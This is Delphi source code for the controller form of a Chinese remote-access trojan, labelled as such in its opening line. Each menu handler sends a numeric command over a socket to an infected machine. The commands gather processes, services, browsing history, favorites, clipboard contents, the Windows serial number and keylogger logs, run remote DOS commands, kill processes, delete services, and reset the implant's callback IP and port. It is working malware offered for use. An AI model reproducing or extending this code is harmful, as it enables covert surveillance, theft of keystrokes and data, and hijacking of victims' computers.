unit9.pas

由于该木马有三个服务端可以选择生成

unit Unit9;

interface

uses
  Windows, Messages, SysUtils,winsock, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, ComCtrls, StdCtrls, Buttons,shellapi,clipbrd;

type
  TForm9 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    TabSheet4: TTabSheet;
    ListBox1: TListBox;
    PopupMenu1: TPopupMenu;
    N1: TMenuItem;
    PopupMenu2: TPopupMenu;
    N2: TMenuItem;
    N3: TMenuItem;
    PopupMenu3: TPopupMenu;
    PopupMenu4: TPopupMenu;
    N4: TMenuItem;
    N5: TMenuItem;
    ListView1: TListView;
    ListView2: TListView;
    ListView3: TListView;
    ListView4: TListView;
    N6: TMenuItem;
    N7: TMenuItem;
    N8: TMenuItem;
    TabSheet5: TTabSheet;
    Memo1: TMemo;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    SpeedButton1: TSpeedButton;
    SpeedButton2: TSpeedButton;
    TabSheet6: TTabSheet;
    ListView5: TListView;
    PopupMenu5: TPopupMenu;
    N9: TMenuItem;
    N10: TMenuItem;
    N11: TMenuItem;
    TabSheet7: TTabSheet;
    Memo2: TMemo;
    PopupMenu6: TPopupMenu;
    N14: TMenuItem;
    N15: TMenuItem;
    N16: TMenuItem;
    TabSheet8: TTabSheet;
    ListView6: TListView;
    PopupMenu7: TPopupMenu;
    N17: TMenuItem;
    N18: TMenuItem;
    StatusBar1: TStatusBar;
    StatusBar2: TStatusBar;
    TabSheet9: TTabSheet;
    ListView7: TListView;
    PopupMenu8: TPopupMenu;
    N22: TMenuItem;
    N23: TMenuItem;
    N13: TMenuItem;
    N12: TMenuItem;
    N20: TMenuItem;
    N24: TMenuItem;
    N25: TMenuItem;
    Edit2: TEdit;
    N21: TMenuItem;
    N26: TMenuItem;
    N27: TMenuItem;
    procedure N1Click(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure N4Click(Sender: TObject);
    procedure N5Click(Sender: TObject);
    procedure N6Click(Sender: TObject);
    procedure ListView4AdvancedCustomDrawItem(Sender: TCustomListView;
      Item: TListItem; State: TCustomDrawState; Stage: TCustomDrawStage;
      var DefaultDraw: Boolean);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure N7Click(Sender: TObject);
    procedure N8Click(Sender: TObject);
    procedure PopupMenu4Popup(Sender: TObject);
    procedure PageControl1Change(Sender: TObject);
    procedure SpeedButton1Click(Sender: TObject);
    procedure SpeedButton2Click(Sender: TObject);
    procedure Edit1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure N9Click(Sender: TObject);
    procedure N10Click(Sender: TObject);
    procedure N11Click(Sender: TObject);
    procedure N14Click(Sender: TObject);
    procedure N15Click(Sender: TObject);
    procedure N16Click(Sender: TObject);
    procedure N17Click(Sender: TObject);
    procedure N18Click(Sender: TObject);
    procedure N22Click(Sender: TObject);
    procedure N13Click(Sender: TObject);
    procedure N23Click(Sender: TObject);
    procedure ListView3AdvancedCustomDrawItem(Sender: TCustomListView;
      Item: TListItem; State: TCustomDrawState; Stage: TCustomDrawStage;
      var DefaultDraw: Boolean);
    procedure N12Click(Sender: TObject);
    procedure N24Click(Sender: TObject);
    procedure ListView6AdvancedCustomDrawItem(Sender: TCustomListView;
      Item: TListItem; State: TCustomDrawState; Stage: TCustomDrawStage;
      var DefaultDraw: Boolean);
    procedure N25Click(Sender: TObject);
    procedure N21Click(Sender: TObject);
    procedure N26Click(Sender: TObject);
    procedure N27Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form9: TForm9;

implementation

uses untMain, Unit2;

{$R *.dfm}

procedure TForm9.N1Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.listbox1.Clear;
 form9.ListView1.Clear ;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='12';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在接收远程系统信息...'  ;
end;

procedure TForm9.N2Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.listbox1.Clear;
 form9.ListView2.Clear ;
 form9.listview2.Columns[0].caption:='';
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='19';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在接收远程窗口信息...'  ;
end;

procedure TForm9.N3Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview2.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='20'+listview2.ItemFocused.Caption ;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在关闭指定的窗口...'  ;
end;

procedure TForm9.N4Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.listbox1.Clear;
 form9.Memo1.Clear;
 form9.ListView3.Clear ;
 form9.listview3.Columns[1].caption:='';
 frmmain.edit2.text:='5';
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='24';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在接收进程信息...'  ;
end;

procedure TForm9.N5Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview3.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='25'+listview3.ItemFocused.Caption ;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在关闭指定的进程...'  ;
end;

procedure TForm9.N6Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.listbox1.Clear;
 form9.ListView4.Clear ;
 form9.Memo1.Clear ;
 sock:=strtoint(statusbar2.Panels[0].text);
 frmmain.edit2.text:='4';
 f:='30';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在接收远程服务信息...'  ;
end;

procedure TForm9.ListView4AdvancedCustomDrawItem(Sender: TCustomListView;
  Item: TListItem; State: TCustomDrawState; Stage: TCustomDrawStage;
  var DefaultDraw: Boolean);
begin
 if item.SubItems[1]='已启用' then
 item.ListView.Canvas.Font.Color:=clred;
end;

procedure TForm9.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 frmmain.edit2.text:='6';
end;

procedure TForm9.N7Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview4.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='31'+listview4.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在开启指定的服务...'  ;
end;

procedure TForm9.N8Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview4.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='32'+listview4.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在关闭指定的服务...'  ;
end;

procedure TForm9.PopupMenu4Popup(Sender: TObject);
begin
 If (listview4.ItemIndex = -1) Then Exit;
 if listview4.ItemFocused.SubItems[1]='已启用' then
 begin
 n7.enabled:=false;
 n8.enabled:=true;
 end else
 begin
 n7.enabled:=true;
 n8.enabled:=false;
 end;
end;

procedure TForm9.PageControl1Change(Sender: TObject);
begin
 StatusBar1.Panels[0].text:='';
 memo1.Clear ;
end;

procedure TForm9.SpeedButton1Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 memo1.Clear ;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='26'+edit1.text;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在发送DOS命令...'  ;
end;
procedure TForm9.SpeedButton2Click(Sender: TObject);
begin
 close;
end;

procedure TForm9.Edit1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  case Key of
   VK_RETURN:
     if Edit1.Focused then
      SpeedButton1Click(Sender);
  end;
end;

procedure TForm9.N9Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.listbox1.Clear;
 form9.ListView5.Clear;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='46';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在接收URL历史记录...' ;
end;

procedure TForm9.N10Click(Sender: TObject);
begin
If (listview5.ItemIndex = -1) Then Exit;
Shellexecute(0,nil,pchar(listview5.ItemFocused.Caption),nil,nil,sw_shownormal);
statusbar1.Panels[0].text:='网址本地打开完成.' ;
end;

procedure TForm9.N11Click(Sender: TObject);
begin
 If (listview1.ItemIndex = -1) Then Exit;
 clipboard.SetTextBuf(pchar(listview1.ItemFocused.Caption));
 statusbar1.Panels[0].Text:='选项复制完成.';
end;

procedure TForm9.N14Click(Sender: TObject);
begin
 clipboard.SetTextBuf(pchar(memo2.Text));
 statusbar1.Panels[0].Text:='内容复制完成.';
end;

procedure TForm9.N15Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview4.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='52'+listview4.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在删除指定的服务...'  ;
end;

procedure TForm9.N16Click(Sender: TObject);
begin
 If (listview5.ItemIndex = -1) Then Exit;
 clipboard.SetTextBuf(pchar(listview5.ItemFocused.Caption));
 statusbar1.Panels[0].text:='网址复制完成.' ;
end;
procedure TForm9.N17Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.listbox1.Clear;
 form9.Memo1.Clear ;
 form9.ListView6.Clear;
 sock:=strtoint(statusbar2.Panels[0].text);
 frmmain.edit2.text:='8';
 f:='55';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在接收已安装程序的信息...' ;
end;                

procedure TForm9.N18Click(Sender: TObject);
begin
 If (listview6.ItemIndex = -1) Then Exit;
 clipboard.SetTextBuf(pchar(listview6.ItemFocused.Caption));
 statusbar1.Panels[0].text:='选项复制完成.' ;
end;
procedure TForm9.N22Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.listbox1.Clear;
 form9.ListView7.Clear;
 form9.Memo1.Clear ;
 frmmain.edit2.text:='7';
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='63';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在查看收藏夹信息...' ;
end;

procedure TForm9.N13Click(Sender: TObject);
begin
 If (listview7.ItemIndex = -1) Then Exit;
 Shellexecute(0,nil,pchar(listview7.ItemFocused.SubItems[0]),nil,nil,sw_shownormal);
 statusbar1.Panels[0].text:='网址本地打开完成.' ;
end;

procedure TForm9.N23Click(Sender: TObject);
begin
 If (listview7.ItemIndex = -1) Then Exit;
 clipboard.SetTextBuf(pchar(listview7.ItemFocused.SubItems[0]));
 statusbar1.Panels[0].text:='网址复制完成.' ;
end;

procedure TForm9.ListView3AdvancedCustomDrawItem(Sender: TCustomListView;
  Item: TListItem; State: TCustomDrawState; Stage: TCustomDrawStage;
  var DefaultDraw: Boolean);
begin
 if Item.Caption=form2.edit1.text then
 item.ListView.Canvas.Font.Color:=clred;
end;

procedure TForm9.N12Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.memo2.Clear;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='50';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在查看剪贴板信息...' ;
end;

procedure TForm9.N24Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.memo2.Clear;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='62';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在查看系统的安装序列号...' ;
end;

procedure TForm9.ListView6AdvancedCustomDrawItem(Sender: TCustomListView;
  Item: TListItem; State: TCustomDrawState; Stage: TCustomDrawStage;
  var DefaultDraw: Boolean);
begin
 if pos(edit2.text,item.Caption)>0 then
 item.ListView.Canvas.Font.Color:=clred;
end;

procedure TForm9.N25Click(Sender: TObject);
var
 s:string;
begin
 s:=inputbox('特别标注: ','输入名称中的关键字:       ','');
 if s<>'' then
 begin
 edit2.Text:=s;
 statusbar1.Panels[0].text:='标注完成. 关键字: '+s ;
 end;
end;

procedure TForm9.N21Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.ListView1.Clear ;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='51';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在查看服务端的配置信息...' ;
end;

procedure TForm9.N26Click(Sender: TObject);
var
 s1,s2:string;
 sock:integer;
begin
 s1:=inputbox('重写配置：','输入新的IP或DNS:              ','');
 if s1='' then exit;
 s2:=inputbox('重写配置：','输入新的端口:              ','');
 if s2='' then exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 s1:='59'+s1+'|'+s2;
 send(sock,s1[1],length(s1),0);
 statusbar1.Panels[0].text:='正在重写服务端的配置信息...' ;
end;
procedure TForm9.N27Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 form9.Memo2.Clear ;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='71';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在查看键盘记录信息...' ;
end;

end.